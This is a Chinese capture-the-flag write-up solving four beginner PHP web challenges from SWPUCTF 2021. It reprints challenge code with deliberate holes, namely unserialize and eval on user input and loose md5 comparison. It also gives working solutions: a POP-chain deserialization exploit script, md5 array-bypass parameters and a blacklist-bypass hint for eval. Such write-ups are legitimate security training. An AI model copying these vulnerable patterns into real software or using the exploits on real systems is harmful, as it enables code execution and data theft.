[SWPUCTF 2021 新生赛]jicao
进入环境:
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
post传id
对get 传的 json 进行json解码
示例:
<?php
$json = ‘{“a”:1,“b”:2,“c”:3,“d”:4,“e”:5}’;
var_dump(json_decode($json))
var_dump(json_decode($json,true))
["a"] => int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)
所以我们只要传 get: json={"x":“wllm”} post:id=wllmNB 就可以了
[SWPUCTF 2021 新生赛]pop
很基础的pop 链构造:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
思路就是 传入 $w00m 反序列化 -》 class w22m -》 触发__destruct -> class w33m -》 __toString() -> getflag 我们只要修改一下 类属性就可以了。 太简单基础,就不细说了,有问题可以评论直接问我 ,我每天都在线。
exp:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;}
class w33m{
public $w00m;
public $w22m;}
$w44m =new w44m();
$w22m = new w22m();
$w33m = new w33m();
$w22m->w00m=$w33m;
$w33m->w00m=$w44m;
$w33m->w00m=$w44m;
$w33m->w22m=Getflag;
echo urlencode(serialize($w22m));
?>
[SWPUCTF 2021 新生赛]easy_md5
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
简单的 md5 数组绕过。
get: ?name[]=1
post: password[]=2
[SWPUCTF 2021 新生赛]hardrce
考点:
亦或
取反
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
发现过滤了很多字符,连 换行都无法利用。
可以利用亦或或者取反绕过,具体文章:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客
发现新生题有点简单,我去更新其他内容了。